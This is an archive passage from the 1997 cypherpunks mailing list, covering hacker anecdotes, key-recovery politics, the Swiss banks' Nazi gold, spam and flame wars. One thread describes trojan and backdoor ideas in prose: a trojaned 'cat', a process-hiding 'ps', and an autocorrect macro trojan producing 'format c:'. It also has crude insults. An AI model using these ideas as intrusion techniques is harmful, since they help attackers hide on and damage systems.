> number of sites/pages (the form elements and script might take up a totalk
> of 2k, whoopee), this could be a sort of passive agressive way of getting bac
> _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
> It's amazing how much 'mature wisdom' resembles being too tired.
> - Lazarus Long
> 

First of all, Wallace is a great guy and anyone who interferes with his
freedom of speech is scum on par with C2Net.

Second, if you run a cgi script in this manner, the pings are still coming
from the web server.  You want to ping from the client that the browser's on.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 08:57:53 +0800
To: devnull@manifold.algebra.com
Subject: Re: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: <199705080036.TAA00617@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> 
> Igor Chudov @ home wrote: 
> > some of the best hacks that I heard was to install a trojan
> > instead of, say, cat, that would randomly change one byte in
> > a randomly chosen file.
> 
>   I am currently monitoring a friend's system in order to analyze
> the source and methodologies of various attacks on it and I spend my
> spare time reading his email, databases, private diaries, etc.

These are not exactly private diaries, Prof. TruthMonger.

These are private diaries _intended for public consumption_, so that 
susceptible and romantic wanderers in cyberspace like yourself would
be deceived by their seemingly secret (and presumably sincere) content.

But they are still rather useful, if you know what you are looking for.

>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

How about the pizda...

>   His comments regarding "Igor" imply that you have a diabolical
> mind and a good nose for nasty business.
>   I can tell from your comments above that he judged you fairly well.

See, Prof. TruthMonger, the fact that I like to publically contemplate
about nasty business does not mean that everything that drives "normal"
people insane (a frequent occasion in certain newsgroups) is done by me.

Far from it.

Anyway, did your friend give you any specifics?

>   Most hackers tend to be one-time Charlie's who pop into a low
> security system to mark their territory by pissing on a directory
> tree, so to speak, or adding their own personal form of graffiti
> and then returning home to pat themselves on the back for their 
> great genius.

But this is what they are looking for.

>   The system intruder I am currently dealing with has a long
> history of success in his nefarious activities and one of the
> main reasons for this is his patience and his subtlety.

You hit the exact point on this one, TM. Patience is the asset
that hackers, moderators, and many others need the most.

>   Once he gains entry to a system he generally sets up an
> obscure back door for himself, pulls a directory tree, finds 
> out the backup schedule, and then exits.

See, a prudent sysadmin/user should do several things: 

1. Keep the oldest backup at least several months old
2. Use encrypted filesystems that are mounted only when needed.
3. Disable all internet services.
4. Treat email as if it was certainly being read by your friends.

That does not make the computer secure, by any means (a bug in elm
or tin that causes them to coredump can be exploited without using any
internet services), but at least makes the threat of intrusion somewhat
less dire.

>   He then lays out a plan of attack which is geared toward
> allowing him to roam the system at will without being observed.
> Usually, he will start by replacing such things as the system 
> 'ps' command with one that keeps certain processes hidden from
> the prying eyes of sysadmins. He also substitutes his own
> programs for system files which are rarely installed and/or
> used.

See, time is money. The stuff above requires a lot of it, so I 
wonder if your friend has a life.

>   Once an intruder has his handiwork on the previous few months
> of system backups, then you might say that he has become a 
> "tenured" member of your organization.

You do not want to reinstall the system from backups...

>   I have had previous experience with the individual involved
> in the compromise of my friend's system (and ISP) and I am well
> aware of the fact that much of his power comes from the fact
> that he tends not to interfere with the functioning of one's
> system unless he is attacked.

>   His current work-in-progress is a Trojan which is frightening
> in its scope if it turns out to operate in the manner that I
> and others now suspect. It may represent a quantum leap in Trojan
> Horse technology (kind of an Equestrian Trojan Horse).
>   {Its existence was "discovered" by a cypherpunk, by the way.}

Interesting.

>   While I am not at liberty to reveal the as yet sketchy details
> of how the Trojan operates, I can give you a small glimpse into
> the the mind of its creator by providing an example of another
> Trojan that was previously discovered with his signature on it.
> 
>   The Trojan works through a word processor's spell checking and 
> automatic correction system.
>   Nonsensical character sequences are added to the spell checker,
> in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
> file is placed on the system which, when spell-corrected, will
> then become "format c:" or whatever its creator desires.
>   A variety of triggers were discovered for the Trojan, and they
> encompassed a variety of approaches. (The triggers were indicative
> of a benign series of probing experiments designed to lead to a
> finished product versatile enough to bypass any attempt to guard
> against the Trojan's execution.)

>   A simple trigger would run a .bat file which loaded the file into
> the word processor, auto-corrected the spelling, saved the file as 
> a .exe file of the creator's choosing, then exited.
>   More complicated triggers involved such things as (in Win 95)
> giving the file a unique extension (such as .xyz), using the
> "open with" option to point to a hidden copy of a word processor
> executable which has no macro-virus protection, etc., and which
> will run the macros in place in the file when it is opened.

Windoze is never secure. The only advantage of using Windoze is that the
hackers think that all windoze users are very stupid, have nothing
useful, and hacking them is like breaking into outhouses -- not the
wisest way to spend time.

>   As you pointed out, Igor, the more subtle a program's operation
> and effects, the longer it can work undiscovered and the greater
> the range of the time/space continuim it can encompass.

> > basically, install lots of backdoors and then play with their minds.
> 
>   Actually, Igor, I'm beginning to wonder if perhaps you are the
> hacker I've been trying to ferret out? I think I'll keep an eye
> on you.

Don't remember sending you any flowers...

I am not a hacker at all, Prof. TruthMonger. (although I believe that 
outsider hacking ought to be legalized) I was merely discussing 
issues.

> > some ppl would steal CC# of their customers and publish them, but I would
> > not do it.
> 
>   The hacker I've been discussing has infiltrated a variety of
> Pac Bell sites, and the like, over the years.
>   A regional administrator, upon being informed of the presence
> of an intruder on the system, immediately called in a team of
> Bay Area security consultants to deal with the problem. By the
> time they arrived the hacker had sent a small mountain of email
> to various management personnel which contained precious company
> secrets and had Pac Bell's competition listed as a cc: (in the
> body of the message, as a warning).
>   When the group from Berkeley arrived they consulted with the
> admin about the potential seriousness of the veiled threat, did
> a quick check of the system, realized who the hacker was that
> they were dealing with, shrugged, and said, "He's on our system
> too. We'd advise just leaving him alone."
>   When the administrator questioned the wisdom of their suggestion
> the consultants advised him that they would be more than happy to
> proceed as long as the overuling of their opinion was put in 
> writing. The admin agreed, whereupon he was presented with the
> consultants' standard "reality check" authorization form, whose
> letterhead reads:
> AUTHORIZATION TO PROCEED CONTRARY TO 
>    ADVISED COURSE OF PROCEDURE
> "Last One Seen Fixing It Gets The Blame"
> 
>   The administrator decided in favor of job-security, and the 
> security consultants were paid generously to provide a generic 
> report for his superiors which indicated that the admin's prompt 
> action resulted in the problem coming to a quick resolution.

I think thet these ppl from Berkeley were the actual hackers... So they
bullshitted the sysadmin into submission in order to evade responsibility.

>   Personally, I've seen more than a few sysadmins who declare
> war on a minor hacker instead of just fixing the problem so
> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yeah, an interesting observation.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:05:37 +0800
To: devnull@manifold.algebra.com
Subject: Re: IBM's New Algo
In-Reply-To: <0kic7D1w165w@bwalk.dm.com>
Message-ID: <199705080041.TAA00687@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> John Young <jya@pipeline.com> writes:
> >    The New York Times, May 7, 1997, p. D5.
> >    I.B.M. Researchers Develop A New Encryption Formula
> >    The system is based on a problem that has defied solution
> >    by mathematicians for 150 years, I.B.M. said.
> 
> I had an interesting conversation a few weeks ago with a friend who has
> a closed-form solution to a well-known problem that's been unsolved for
> about that long.  He has no intention of publishing it, but he has already
> made quite a bit of $$$ on it. :-)
> 
> I've known the guy for a number of years and it's not the first time he gets
> a good result and makes money on it instead of yet another paper in a 
> refereed journal.  In general, lots more is known to some people than is
> published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> was done by the British crypto people but never made it to the open literatre.
> 
> >    Mr. Schneier said that the cryptographic formulas now in
> >    use were already robust enough. The biggest challenge, he
> >    said, is creating security systems in the real world that
> >    are not vulnerable to hackers.
> > 
> >    "Cryptography is a lot more than math" he said.
> 
> Let me get this straight - Schneier claims that factoring is secure now and
> will remain secure in the future?

Let me get this straight -- did your friend discover a closed form
solution to the factoring problem?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:30:06 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <199705080050.TAA00821@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

... snip ...

> OK, so it's clear to all right-thinking persons what should be done:
> Switzerland should return the money to the heirs of those killed by the
> Nazis.
> 
> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

According to americal common law, as I understand it, no one can get
a valid title to the property from someone who did not have such title.

E.g., if you steal Vulis's car and then sell it to me, I will not have
the title to the car and will have to return it back to Vulis (and may
be able to try to recover my loss from you). The same will be true if
you lend the stolen car to me -- he can get it back if he proves that it
is his.

I find that reasoning to be quite good.

Lending stolen money (or stolen golden teeth) to banks is no different
than lending stolen cars.

American law does not have to apply to Switzerland, but I find that 
particular part of it to be just. The issue, of course, is coming up
with the proof.

I will appreciate if someone could correct me.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:14:11 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <Pine.SUN.3.91.970507113312.999G-100000@beast.brainlink.com>
Message-ID: <199705080051.TAA00842@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


does he still sell zeros?

igor

Ray Arachelian wrote:
> 
> So, now that your snake oil products have been proven as full of holes as 
> swiss cheese, you're back to spam us with offers of your "services?"  Go 
> away!
> 
> On Tue, 6 May 1997, DataET Research Data Engineering Technologies wrote:
> 
> > Visit DataET Research, an excellent source for high-quality, but extensively 
> > inexpensive, software development and marketing solutions.
> > 
> > SERVICES:
> > 
> > o Custom Software Development Service
> > o Custom Database Application Development Service
> > o Help File / System Development Service
> > o Installation Program Development Service
> > o Shareware Distribution & Marketing Service
> > o Trial Usage Tracking System Development Service
> > o Web Site Design & Development Service
> > o Press Release Distribution Service
> > 
> > If you are interested in having a spectacular Web site or customized software 
> > package developed for your organization, VISIT: http://www.dataet.com.
> > 
> > Free cost and time estimates are given.
> > 
> > PRODUCTS:
> > 
> > o VSA2048 Crytography (Encryption) Module
> > o VSA2048 QuickCrypt (Encryption)
> > 
> > If you are interested in trying out the latest encryption software developed by 
> > DataET Research, VISIT: http://www.dataet.com.
> > 
> > Shareware trial edition versions are available.
> > 
> > DataET Research
> > Data Engineering Technologies
> > VISIT: http://www.dataet.com
> > 
> > 
> > ---------------------------------------------------------
> > Get Your *Web-Based* Free Email at http://www.hotmail.com
> > ---------------------------------------------------------
> > 
> > 
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 11:14:44 +0800
To: cypherpunks@algebra.com
Subject: List of GAK supporters
Message-ID: <Pine.3.89.9705071942.A10252-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


Below is a list of the members of the "Key Recovery Alliance" who are 
working hard to make the world safe for GAK. I intend to boycott them, 
though that may not be possible, since the "Allicance" seems to include just 
about anybody in the computer industy. It is sickening.

 

Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba 
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola 


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@aye.net>
Date: Thu, 8 May 1997 08:42:03 +0800
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re:
In-Reply-To: <19970507211644.11165.qmail@squirrel.owl.de>
Message-ID: <3.0.1.32.19970507201902.0094d210@aye.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Gee, is this still going on?  I just re-subscrived to this list after a few
months of silence and this is the first message that I get!

It's amazing how things stay the same, regardless of the advances.

At 09:16 PM 5/7/97 -0000, you wrote:
>Date: Wed, 7 May 1997
>From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
>To: lucifer Anonymous Remailer <lucifer@dhp.com>
>Cc: cypherpunks@toad.com
>Subject: Re: PGP
>
>
>I think Vulis needs each of us to send ten copies of this back to
>him.
>
>On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:
>
>> Tim C[retin] Mayflower styles his facial hair to look more
>> like Graham-John Bullers.
>>
>>       ,,,
>>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>>       (_)
>>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Modulator of alt.2600.modulated
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3Eb0AiQdpqp9N0zAQHAMQf/SLqM0B+gK8s+4VQauk5SbO0/pSFYbGNg
PxvjcQ22YKbh8OTzZaGY4OyFgf745xCbLHUyieTnm+2NKKtDgqh395am7asglNGI
KoLb4AgckRKUYkvfZV6pGdVkWMfW3IqZD9bVKDfgdGwgUuDweQwzrup9xAnZVwG4
LIcAWyv6gmKrooyIMcv/RO+wQqSgXJwa0iW7FZqRgAJQaly6JcCd9sbTBcLtYbPz
Sc02Ndv0scdOHoHSrra3gjIQ5cCqcnAKoeY12RgvJoobcfTY7GrNG6tCLwwhPk5u
Fa85rcQ90gNf8dclBOieZbcTVmZ3oubwDdimhlr70Jr8fvaeF3RJvQ==
=PCIl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 8 May 1997 12:34:18 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <v03007802af96f9a0519a@[207.94.249.88]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 AM -0700 5/7/97, Robert Hettinga forwarded:
>The hackers have devised
>a system which sends millions of random "arp" requests to a router, which
>can disable the whole network for hours. This type of attack has never
>occurred before.

It is quite obvious to anyone who cares to give it even a moment's thought
that the currently installed Internet Protocols are still in the age of
cooperative communicators.  While some work, e.g. DNSSEC, has addressed
part of this problem, the bulk of it remains.

Now, if we could only go back 30 years and give C a reasonable string
model, we might be able to eliminate 50% of the known holes in Unix
security.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 8 May 1997 14:46:20 +0800
To: "hanabusa@bnn-net.or.jp>
Subject: RE: TV Documentary "Crypto Wars" ON AIR in J
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00019765@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain



Anybody got transcripts for this?

 ----------
From: Sh.Hanabusa
To: ARTURO GRAPA YSUNZA; cypherpunks@toad.com
Subject: TV Documentary "Crypto Wars" ON AIR in J
Date: Monday, April 28, 1997 5:12AM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Sh.Hanabusa
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@toad.com
Asunto:  TV Documentary "Crypto Wars" ON AIR in J
Fecha: 1997-04-28 05:12
Prioridad: 3
Ident. del mensaje: A3CAF0779BBDD011AF92006097838CEB

 -----------------------------------------------------------------------
----- --

TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

 ------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
 --------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

 ----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/ Special Programs
     NHK Enterprises 21 Inc.
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 8 May 1997 06:51:19 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970507211644.11165.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 7 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: PGP


I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more
> like Graham-John Bullers.
>
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 8 May 1997 13:15:47 +0800
To: "shamrock@netcom.com>
Subject: RE: List of GAK supporters
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00019760@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain



I was surprised not to see Netscape or Microsoft on the list.

Anybody know the URL of a web site that publishes and regularly updates
this list?

 ----------
From: Lucky Green
To: ARTURO GRAPA YSUNZA; cypherpunks@algebra.com
Subject: List of GAK supporters
Date: Wednesday, May 07, 1997 11:04PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Lucky Green
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@algebra.com
Asunto:  List of GAK supporters
Fecha: 1997-05-07 23:04
Prioridad: 3
Ident. del mensaje: A9BE1E3B71C6D011AF95006097838CEB

 -----------------------------------------------------------------------
----- --

Below is a list of the members of the "Key Recovery Alliance" who are
working hard to make the world safe for GAK. I intend to boycott them,
though that may not be possible, since the "Allicance" seems to include
just
about anybody in the computer industy. It is sickening.



Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola


 -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail
preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 11:02:32 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <199705080238.VAA09065@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705080050.TAA00821@manifold.algebra.com>, on 05/07/97 at 06:50 PM,
   ichudov@algebra.com (Igor Chudov @ home) said:


>Tim May wrote:
>> I try to deconstruct events, to determine what the real issues are.
>> 
>> Take the case of the ongoing flap over Switzerland and claims that Swiss
>> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
>> Adding to the flap--actually, making it a newsworthy event--is the
>> allegation, probably true, that some of the gold was taken from Jews and
>> others sent to extermination camps.

>... snip ...

>> OK, so it's clear to all right-thinking persons what should be done:
>> Switzerland should return the money to the heirs of those killed by the
>> Nazis.
>> 
>> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

>According to americal common law, as I understand it, no one can get a
>valid title to the property from someone who did not have such title.

>E.g., if you steal Vulis's car and then sell it to me, I will not have the
>title to the car and will have to return it back to Vulis (and may be able
>to try to recover my loss from you). The same will be true if you lend the
>stolen car to me -- he can get it back if he proves that it is his.

>I find that reasoning to be quite good.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.

>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up with
>the proof.

>I will appreciate if someone could correct me.

It is an intresting approach to justify current action agains the Swiss
Banks. If you could prove that the Swiss received stolen property what
about the "statute of limitations"? Most US crimes require that they be
prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
that this all happened over 50yrs and AFAIK no capital crimes have been
commited by the swiss banks even if they are "guilty" of receiving stolen
property I can hardly see how they can be held accountable now.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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GeI+/B+LNPEQHcCdvaGpl/ujnsN/WU/ASj/6cvG04ifkcggDYtMJ6UM+Kki9Gysj
EaC1sZWXRA==
=ztPr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 8 May 1997 12:47:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: List of GAK supporters
In-Reply-To: <Pine.3.89.9705071942.A10252-0100000@netcom19>
Message-ID: <v03102800af9707e24dba@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
>Below is a list of the members of the "Key Recovery Alliance" who are
>working hard to make the world safe for GAK. I intend to boycott them,
>though that may not be possible, since the "Allicance" seems to include just
>about anybody in the computer industy. It is sickening.
>
>
>Baltimore Technologies nCipher Corp. Boeing NEC
>     Cryptomathic Portland Software GemPlus RedCreek
>     Communications Frontier Technologies Corp. RPK Fujitsu
>     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>     Sterling Commerce Intel Tandem IRE Technical
>     Communications Corp. Mitsubishi Electric America Toshiba
>America Online, Inc. Mytec Technologies, Inc. Apple
>     Computer, Inc. NCR Corp. Atalla Network Systems Group
>     of StorageTek Certicom Novell, Inc. Compaq Computer
>     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>     Cylink Corp. Racal Data Group Data Securities International
>     Inc. Rainbow Technologies First Data Corp. RSA Digital
>     Equipment Corp. SafeNet Trusted Services Corp. Digital
>     Signature Trust Company Secure Computing Corp. Entrust
>     Technologies SourceFile Gradient Technologies, Inc. Sterling
>     Commerce Groupe Bull Sun Microsystems, Inc.
>     Hewlett-Packard Trusted Information Systems, Inc. IBM
>     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>     Corporation of Japan VPNet Technologies Motorola
>
I wonder how many of these companies signed up
"just to appear on the list".

Apple, as far as I know, has no GAK project in place.
In fact, as far as I know, the last GAK-related action
that anyone at Apple has participated, was to participate in
the original press release.

This is not meant as a defense of Apple. I have discussed
their support of this organization with senior management there,
and tried to convince them of the errors of their ways. Rather,
it is a comment on their current activities regarding GAK.

Apple also happens to be the one company on that list that
I have non-public knowledge of.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 10:58:36 +0800
To: Lou Zirko <lzirko@aye.net>
Subject: Re:
In-Reply-To: <3.0.1.32.19970507201902.0094d210@aye.net>
Message-ID: <199705080239.VAA09085@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.1.32.19970507201902.0094d210@aye.net>, on 05/07/97 at 06:19 PM,
   Lou Zirko <lzirko@aye.net> said:


>Gee, is this still going on?  I just re-subscrived to this list after a
>few months of silence and this is the first message that I get!

>It's amazing how things stay the same, regardless of the advances.

Yep, about the only thing that has changed is that my twit/spam filter has
grown alot larger.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

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Version: 2.6.2
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4pZXZInt8blOvj4xBDtK4EfgYyEV8QPFDnGteMAnkZVaO0D+SpHnY2iZp2rVHE2J
rK+7uMp/JkA=
=HC21
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 11:17:59 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: (fwd) Elctronic Funds Transfer Expansion Act
